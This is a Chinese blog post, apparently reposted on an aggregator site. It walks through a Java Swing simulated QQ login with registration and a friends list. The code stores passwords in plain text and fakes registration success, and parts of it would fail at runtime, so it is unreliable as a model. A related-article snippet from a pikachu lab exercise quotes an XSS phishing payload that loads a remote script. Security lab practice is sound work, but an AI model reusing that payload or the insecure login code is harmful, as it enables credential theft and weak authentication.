如何用java做一个模拟登录画面

news2024/11/18 3:28:21

要求:

  1. 实现registerAction方法中的注册逻辑。
  2. 实现login方法中的登录逻辑,确保只有当用户名和密码都正确时才返回true
  3. 实现好友管理功能,包括添加好友、删除好友、查看好友列表。
  4. 确保所有的文件操作(如读取和写入credentials.txtfriends.txt)都能够正确处理异常。
  5. 优化用户界面,提供良好的用户体验。
  6. 确保应用程序的线程安全,特别是在处理Swing组件时。
  7. 完善错误处理,确保应用程序能够优雅地处理异常情况。
  8. 考虑实现记住账号的功能,当用户勾选“记住账号”复选框时,能够保存当前登录的用户名。
  9. 实现注册和登录成功后的反馈提示。
  10. 确保应用程序的所有功能在用户界面上都能够直观地反映出来,并且易于使用。

以下是大致的框架

package test10;

import javax.swing.*;
import java.awt.*;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.*;
import java.util.*;
import java.util.List;

/**
 * 模拟QQ登录界面的Java Swing应用程序。
 */
public class QQLoginMultiUser {
    // 应用程序的GUI组件
    private JFrame frame; // 主窗口
    private JComboBox<String> usernameComboBox; // 用户名下拉列表
    private JPasswordField passwordField; // 密码输入框
    private JCheckBox rememberCheckbox; // 记住账号复选框
    private static final String CREDENTIALS_FILE = "credentials.txt"; // 存储凭证的文件
    private final Map<String, String> credentials = new HashMap<>(); // 存储用户名和密码的映射
    private final List<String> usernameList = new ArrayList<>(); // 存储用户名的列表
    private final Map<String, List<String>> friendsMap = new HashMap<>(); // 存储用户和好友的映射
    private String loggedInUsername; // 已登录的用户名
    private JFrame friendsFrame; // 显示好友列表的窗口
    private JList<String> friendsList; // 显示好友的列表
    private JTextField regUsernameField; // 注册界面的用户名输入框
    private JTextField regPasswordField; // 注册界面的密码输入框
    private int NORTH; // BorderLayout的北方向常量

    /**
     * 构造函数,初始化GUI组件和加载数据。
     */
    public QQLoginMultiUser() {
        initialize();
        loadSavedCredentials();
        loadFriends();
    }

    /**
     * 初始化GUI组件。
     */
    private void initialize() {
        // 初始化窗口和组件,设置布局、事件监听器等
        // ...
    }

    /**
     * 显示注册表单。
     */
    private void showRegisterForm() {
        // 创建注册窗口和组件,设置布局和事件监听器
        // ...
    }

    /**
     * 注册新用户。
     *
     * @param username 用户名
     * @param password 密码
     * @return 注册成功与否
     */
    private boolean registerAction(String username, String password) {
        // 实现注册逻辑
        // ...
        return true;
    }

    /**
     * 从文件加载已保存的凭证。
     */
    private void loadSavedCredentials() {
        // 从文件读取用户名和密码,更新credentials和usernameList
        // ...
    }

    /**
     * 从文件加载好友列表。
     */
    private void loadFriends() {
        // 从文件读取好友信息,更新friendsMap
        // ...
    }

    /**
     * 保存好友列表到文件。
     */
    private void saveFriends() {
        // 将friendsMap中的好友信息写入文件
        // ...
    }

    /**
     * 添加好友。
     *
     * @param friend 要添加的好友用户名
     */
    private void addFriend(String friend) {
        // 将指定的好友添加到当前登录用户的好友列表中,并保存
        // ...
    }

    /**
     * 显示指定用户的好友列表。
     *
     * @param username 要显示好友列表的用户名
     */
    private void showFriendsList(String username) {
        // 创建好友列表窗口,填充好友数据,并设置事件监听器
        // ...
    }

    /**
     * 删除好友。
     *
     * @param friend 要删除的好友用户名
     */
    private void removeFriend(String friend) {
        // 从当前登录用户的好友列表中删除指定的好友,并保存
        // ...
    }

    /**
     * 提示用户输入并添加好友。
     */
    private void addFriendPrompt() {
        // 弹出对话框让用户输入好友用户名,并添加到好友列表
        // ...
    }

    /**
     * 查看和显示好友列表。
     *
     * @param friendsFrame 好友列表窗口
     * @param friends      好友列表数据
     */
    private void viewFriends(JFrame friendsFrame, List<String> friends) {
        // 弹出对话框显示当前用户的好友列表
        // ...
    }

    /**
     * 用户登录操作。
     */
    private void loginAction() {
        // 获取用户名和密码,执行登录逻辑,根据结果弹出相应的对话框
        // ...
    }

    /**
     * 检查用户名和密码是否正确。
     *
     * @param username 用户名
     * @param password 密码
     * @return 是否登录成功
     */
    private boolean login(String username, String password) {
        // 检查credentials中是否存在对应的用户名和密码
        // ...
        return false;
    }

    // 省略其他方法...

    /**
     * 主方法,启动应用程序。
     *
     * @param args 命令行参数
     */
    public static void main(String[] args) {
        SwingUtilities.invokeLater(() -> new QQLoginMultiUser());
    }
}

根据框架我们就可以给出具体代码了,可能不是很好,望各位大佬指点

package test10;

import javax.swing.*;
import java.awt.*;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.*;
import java.util.*;
import java.util.List;

public class QQLoginMultiUser {
    private JFrame frame;
    private JComboBox<String> usernameComboBox;
    private JPasswordField passwordField;
    private JCheckBox rememberCheckbox;
    private static final String CREDENTIALS_FILE = "credentials.txt";
    private final Map<String, String> credentials = new HashMap<>();
    private final List<String> usernameList = new ArrayList<>();
    private final Map<String, List<String>> friendsMap = new HashMap<>();
    private String loggedInUsername;
    private JFrame friendsFrame;
    private JList<String> friendsList;
    private JTextField regUsernameField; // 使用 JTextField 而不是 Label
    private JTextField regPasswordField; // 使用 JTextField 而不是 Label
    private int NORTH;

    public QQLoginMultiUser() {
        initialize();
        loadSavedCredentials();
        loadFriends();
    }

    private void initialize() {
        frame = new JFrame("模拟登录");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setSize(400, 300);
        frame.setLayout(new GridBagLayout());

        // 用户名组件
        JLabel lblUsername = new JLabel("用户名:");
        GridBagConstraints gbc = new GridBagConstraints();
        gbc.gridx = 0;
        gbc.gridy = 0;
        gbc.anchor = GridBagConstraints.EAST;
        frame.add(lblUsername, gbc);

        usernameComboBox = new JComboBox<>();
        usernameComboBox.setEditable(true);
        gbc = new GridBagConstraints();
        gbc.gridx = 1;
        gbc.gridy = 0;
        gbc.gridwidth = 2;
        gbc.fill = GridBagConstraints.HORIZONTAL;
        gbc.weightx = 1;
        frame.add(usernameComboBox, gbc);

        // 密码组件
        JLabel lblPassword = new JLabel("密码:");
        gbc = new GridBagConstraints();
        gbc.gridx = 0;
        gbc.gridy = 1;
        gbc.anchor = GridBagConstraints.EAST;
        frame.add(lblPassword, gbc);

        passwordField = new JPasswordField();
        gbc = new GridBagConstraints();
        gbc.gridx = 1;
        gbc.gridy = 1;
        gbc.fill = GridBagConstraints.HORIZONTAL;
        gbc.weightx = 1;
        frame.add(passwordField, gbc);

        // 登录按钮
        JButton btnLogin = new JButton("登录");
        btnLogin.addActionListener(e -> loginAction());
        gbc = new GridBagConstraints();
        gbc.gridx = 1;
        gbc.gridy = 2;
        gbc.anchor = GridBagConstraints.CENTER;
        frame.add(btnLogin, gbc);

        // 注册按钮
        JButton btnRegister = new JButton("注册");
        btnRegister.addActionListener(e -> showRegisterForm());
        gbc = new GridBagConstraints();
        gbc.gridx = 2;
        gbc.gridy = 2;
        gbc.anchor = GridBagConstraints.CENTER;
        frame.add(btnRegister, gbc);

        // 记住账号复选框
        rememberCheckbox = new JCheckBox("记住账号");
        gbc = new GridBagConstraints();
        gbc.gridx = 0;
        gbc.gridy = 3;
        gbc.anchor = GridBagConstraints.WEST;
        frame.add(rememberCheckbox, gbc);

        frame.setVisible(true);
    }

    private void showRegisterForm() {
        JFrame registerFrame = new JFrame("用户注册");
        registerFrame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
        registerFrame.setSize(300, 150);
        registerFrame.setLayout(new FlowLayout());

        JTextField regUsernameField = new JTextField();
        JTextField regPasswordField = new JTextField();
        JButton regButton = new JButton("注册");

        regButton.addActionListener(e -> registerAction(regUsernameField.getText(), regPasswordField.getText()));
        registerFrame.add(regUsernameField);
        registerFrame.add(regPasswordField);
        registerFrame.add(regButton);

        registerFrame.setVisible(true);
    }

    private boolean registerAction(String username, String password) {
        // 这里应实现注册逻辑
        // 假设注册成功
        JOptionPane.showMessageDialog(frame, "注册成功!");
        usernameComboBox.addItem(username); // 添加新用户名到 JComboBox
        regUsernameField.setText(""); // 清空注册界面的用户名输入框
        regPasswordField.setText(""); // 清空注册界面的密码输入框
        return true; // 返回注册结果
    }
    private void loadSavedCredentials() {
        credentials.clear();
        usernameList.clear();
        try (BufferedReader reader = new BufferedReader(new FileReader(CREDENTIALS_FILE))) {
            String line;
            while ((line = reader.readLine()) != null) {
                String[] cred = line.split(":");
                if (cred.length == 2) {
                    credentials.put(cred[0], cred[1]);
                    usernameList.add(cred[0]);
                    usernameComboBox.addItem(cred[0]);
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void loadFriends() {
        friendsMap.clear();
        try (BufferedReader reader = new BufferedReader(new FileReader("friends.txt"))) {
            String line;
            while ((line = reader.readLine()) != null) {
                String[] parts = line.split(":");
                if (parts.length == 2) {
                    String user = parts[0].trim();
                    String friend = parts[1].trim();
                    if (!friendsMap.containsKey(user)) {
                        friendsMap.put(user, new ArrayList<>());
                    }
                    friendsMap.get(user).add(friend);
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void saveFriends() {
        try (BufferedWriter writer = new BufferedWriter(new FileWriter("friends.txt", false))) {
            for (Map.Entry<String, List<String>> entry : friendsMap.entrySet()) {
                for (String friend : entry.getValue()) {
                    writer.write(entry.getKey() + ":" + friend);
                    writer.newLine();
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void addFriend(String friend) {
        if (loggedInUsername != null && !friend.isEmpty() && !friend.equals(loggedInUsername)) {
            if (!friendsMap.containsKey(loggedInUsername)) {
                friendsMap.put(loggedInUsername, new ArrayList<>());
            }
            friendsMap.get(loggedInUsername).add(friend);
            saveFriends(); // 更新好友列表并保存
        }
    }


    private void showFriendsList(String username) {

        friendsFrame = new JFrame("好友列表 - " + username);
        friendsFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        friendsFrame.setSize(300, 200);
        friendsFrame.setLayout(new BorderLayout());

        // 创建一个 JList 来显示好友
        List<String> friends = friendsMap.getOrDefault(username, Collections.emptyList());
        friendsList = new JList<>(friends.toArray(new String[0]));
        JScrollPane scrollPane = new JScrollPane(friendsList);

        // 创建添加好友的按钮
        JButton addFriendButton = new JButton("添加好友");
        addFriendButton.addActionListener(e -> addFriendPrompt());

        friendsFrame.add(addFriendButton, NORTH);
        friendsFrame.add(scrollPane, BorderLayout.CENTER);
        // 创建查看好友的按钮
        JButton viewFriendsButton = new JButton("查看好友");
        viewFriendsButton.addActionListener(e -> viewFriends(friendsFrame, friends));

        friendsFrame.add(addFriendButton, BorderLayout.CENTER);
        friendsFrame.add(viewFriendsButton, BorderLayout.SOUTH);
        friendsFrame.add(scrollPane, BorderLayout.EAST);
        // 创建删除好友的功能

        friendsList.addMouseListener(new MouseAdapter() {
            @Override
            public void mouseClicked(MouseEvent e) {
                if (SwingUtilities.isRightMouseButton(e)) {
                    int index = friendsList.locationToIndex(e.getPoint());
                    String friend = (String) friendsList.getSelectedValue();
                    removeFriend(friend); // 调用删除好友的方法
                }
            }
        });
        ((JComponent) scrollPane).setBorder(BorderFactory.createEmptyBorder(10, 10, 10, 10));
        scrollPane.getVerticalScrollBar().setPreferredSize(new Dimension(20, 0));


        friendsFrame.setVisible(true);
    }

    private void removeFriend(String friend) {
        if (loggedInUsername != null && friendsMap.containsKey(loggedInUsername)) {
            List<String> friends = friendsMap.get(loggedInUsername);
            if (friends != null && friends.contains(friend)) {
                friends.remove(friend);
                saveFriends(); // 更新好友列表并保存
                JOptionPane.showMessageDialog(friendsFrame, "好友已删除!");
                // 更新 JList
                friendsList.setListData(friends.toArray(new String[0]));
            } else {
                JOptionPane.showMessageDialog(friendsFrame, "好友未找到,无法删除!");
            }
        }
    }
    private void addFriendPrompt() {
        String friendToAdd = JOptionPane.showInputDialog(friendsFrame, "请输入好友的用户名:", "添加好友", JOptionPane.QUESTION_MESSAGE);
        if (friendToAdd != null && !friendToAdd.trim().isEmpty()) {
            addFriend(friendToAdd);
            JOptionPane.showMessageDialog(friendsFrame, "好友已添加!");
            // 更新 JList
            friendsList.setListData(friendsMap.getOrDefault(loggedInUsername, Collections.emptyList()).toArray(new String[0]));
        }
    }

    private void viewFriends(JFrame friendsFrame, List<String> friends) {
        StringBuilder sb = new StringBuilder("好友列表:\n");
        for (String friend : friends) {
            sb.append(friend).append("\n");
        }
        JOptionPane.showMessageDialog(this.friendsFrame, sb.toString(), "好友列表", JOptionPane.INFORMATION_MESSAGE);
    }

    private void loginAction() {
        String username = (String) usernameComboBox.getEditor().getItem();
        String password = new String(passwordField.getPassword());

        if (login(username, password)) {
            JOptionPane.showMessageDialog(frame, "登录成功!");
            loggedInUsername = username; // 记录已登录的用户名
            showFriendsList(loggedInUsername);
            frame.dispose(); // 关闭登录窗口
        } else {
            JOptionPane.showMessageDialog(frame, "用户名或密码错误!");
        }
    }

    private boolean login(String username, String password) {
        return credentials.containsKey(username) && credentials.get(username).equals(password);
    }

    // 省略 register, saveCredentials 等其他方法...

    public static void main(String[] args) {
        SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                new QQLoginMultiUser();
            }
        });
    }
}

效果如下图:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1687756.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java类

一.什么是类&#xff1f; 在src文件夹下面用一个Text类&#xff0c;这个Text就是这一个类的类名&#xff0c;所以说&#xff0c;一个Java文件里面就存在一个类&#xff0c;&#xff08;在Java中有一个习惯&#xff0c;一个Java文件里面&#xff0c;只写一个类&#xff09;。 &…

SSMP整合案例第三步 业务层service开发及基于Mybatis的接口功能拓展

业务层开发 对于业务层的制作有个误区 Service层接口定义与数据层接口定义具有较大差别 不要混用 业务层接口关注的是业务名称 数据层接口关注的是数据层名称 操作是不难 但是有些东西还是要掌握的 业务层接口如果是业务方法 就按照业务名称来代替 如果是数据操作 直接用…

pytorch文本分类(四)模型框架(模型训练与验证)

关卡四 模型训练与验证 本文是在原本闯关训练的基础上总结得来&#xff0c;加入了自己的理解以及疑问解答&#xff08;by GPT4&#xff09; 原任务链接 目录 关卡四 模型训练与验证1. 训练1.1 构建模型结构1.2 模型编译1.3 模型训练1.4模型超参数调试 2. 推理2.1 模型准确性…

UDP协议与TCP协议1.2

UDP UDP数据报UDP报头UDP载荷 UDP的报文格式&#xff1a; 这里的UDP长度&#xff0c;描述了整个UDP数据报&#xff0c;占多少个字节&#xff0c;这里整个UDP长度最多是64kb 在UDP中校验和就是使用CRC的方式来完成的 数据在网络传输中是可能会出现错误的&#xff0c;例如比特翻…

四信云-设备维保管理系统上线,实现设备全生命周期管理

在当今的制造业中&#xff0c;设备是企业生产的核心要素&#xff0c;是企业竞争力的基石。 随着企业发展规模不断扩大&#xff0c;设备数量急速增长&#xff0c;传统的手工管理方式已经无法满足企业需求&#xff0c;设备管理系统的出现则填补了市场需求空白&#xff0c;其目标…

翻译《The Old New Thing》- How do I mark a shortcut file as requiring elevation?

How do I mark a shortcut file as requiring elevation? - The Old New Thing (microsoft.com)https://devblogs.microsoft.com/oldnewthing/20071219-00/?p24103 Raymond Chen 2007年12月19日 如何将快捷方式标记为需要提升权限 简要 文章介绍了如何通过设置SLDF_RUNAS_US…

echarts-坐标轴2

刻度的间隔 类目轴的间隔 interval xAxis: {type: "category",name: "x轴",axisLine: {},axisLabel: {show: true,color: "yellow",backgroundColor: "blue",interval: 5,},data: [11, 22, 322, 422, 522, 622, 722, 822, 229, 1220,…

k8s集群安装后CoreDNS 启动报错plugin/forward: no nameservers found

安装k8s过程中遇到的问题&#xff1a; 基本信息 系统版本&#xff1a;ubuntu 22.04 故障现象&#xff1a; coredns 报错&#xff1a;plugin/forward: no nameservers found 故障排查&#xff1a; #检查coredns的配置&#xff0c;发现有一条转发到/etc/resolv.conf的配置…

哪些类型的产品适合用3D形式展示?

随着3D技术的蓬勃发展&#xff0c;众多品牌和企业纷纷投身3D数字化浪潮&#xff0c;将产品打造成逼真的3D模型进行展示&#xff0c;消费者可以更加直观地了解产品的特点和优势&#xff0c;从而做出更明智的购买决策。 哪些产品适合3D交互展示&#xff1f; 产品3D交互展示具有直…

云计算事件响应优秀实践

云计算如今已经成为一种主流技术&#xff0c;随着云安全的日益普及&#xff0c;他们正在与德迅云团队合作&#xff0c;致力于开始保护其云计算系统。 云计算如今已经成为一种主流技术&#xff0c;几乎所有组织都在公有云中运行一些资源——无论是网站、游戏、app、小程序。德迅…

钡铼BL205分布式IO在精密机械加工自动化中的精准控制OPC UA

随着工业自动化技术的不断发展&#xff0c;精密机械加工领域对于高效、精准的控制需求日益增加。在这一背景下&#xff0c;钡铼BL205分布式IO的出现为精密机械加工自动化注入了新的活力和可能性。本文将探讨钡铼BL205分布式IO在精密机械加工自动化中的应用&#xff0c;尤其是其…

LeetCode算法题:42. 接雨水(Java)

题目描述 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a;上面是由数组 [0,1,0,2,1,0,1,3…

c4d云渲染是工程文件会暴露吗?

在数字创意产业飞速发展的今天&#xff0c;C4D云渲染因其高效便捷而备受欢迎。然而&#xff0c;随着技术应用的深入&#xff0c;人们开始关注一个核心问题&#xff1a;在享受云渲染带来的便利的同时&#xff0c;C4D工程文件安全吗&#xff1f;是否会有暴露的风险&#xff1f;下…

企业微信主体机构如何修改?

企业微信变更主体有什么作用&#xff1f; 做过企业运营的小伙伴都知道&#xff0c;很多时候经常会遇到现有的企业需要注销&#xff0c;切换成新的企业进行经营的情况&#xff0c;但是原来企业申请的企业微信上面却积累了很多客户&#xff0c;肯定不能直接丢弃&#xff0c;所以这…

【安装笔记-20240523-Windows-安装测试 ShareX】

安装笔记-系列文章目录 安装笔记-20240523-Windows-安装测试 ShareX 文章目录 安装笔记-系列文章目录安装笔记-20240523-Windows-安装测试 ShareX 前言一、软件介绍名称&#xff1a;ShareX主页官方介绍 二、安装步骤测试版本&#xff1a;16.1.0下载链接功能界面 三、应用场景屏…

Jenkins安装 :AWS EC2 Linux

1 JDK11 install # 用的yum安装 # 压缩包安装&#xff0c;下载的jdk-11.0.22_linux-x64_bin.tar.gz在EC2解压&#xff0c;配置环境变量&#xff0c;运行jenkins的时候会报错$ yum -y list java-11* Available Packages java-11-amazon-corretto-devel.x86_64 …

STM32_HAL_RTC时钟

1. RTC 时钟简介 STM32F407 的实时时钟&#xff08;RTC&#xff09;是一个独立的定时器。 STM32 的 RTC 模块拥有一组连续计数的计数器&#xff0c;在相对应的软件配置下&#xff0c;可提供时钟日历的功能。修改计数器的值可以重新设置系统的当前时间和日期。 RTC 模块和时钟配…

antd-vue a-tree 当两个不同一级下二级key相同的时候就会导致两个同时选择, 拿到node.parent的数据也会出问题, 解决办法

一、问题如下图&#xff1a; 当两个不同一级下二级key相同的时候就会导致两个同时选择&#xff0c; 同时拿到node.parent的数据也会出问题, 出现一下问题的原因是因为数据treeData 的key出现相同的了 然后如下图、因为我的查询条件 第二层是给 cloud , 第二层是给 relatedPool…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

WPF中快速使用iconfont中的icon图标资源

在WPF开发中经常需要用到Icon图标&#xff0c;我们这用用的是Iconfont网站查找icon的资源&#xff0c;本文讲如何把iconfont图标资源当成字体文件导入到WPF程序中使用。 查找打包资源 1.在Iconfont官网查找资源 根据自己需要查找&#xff0c;资源然后添加到购物车 https://…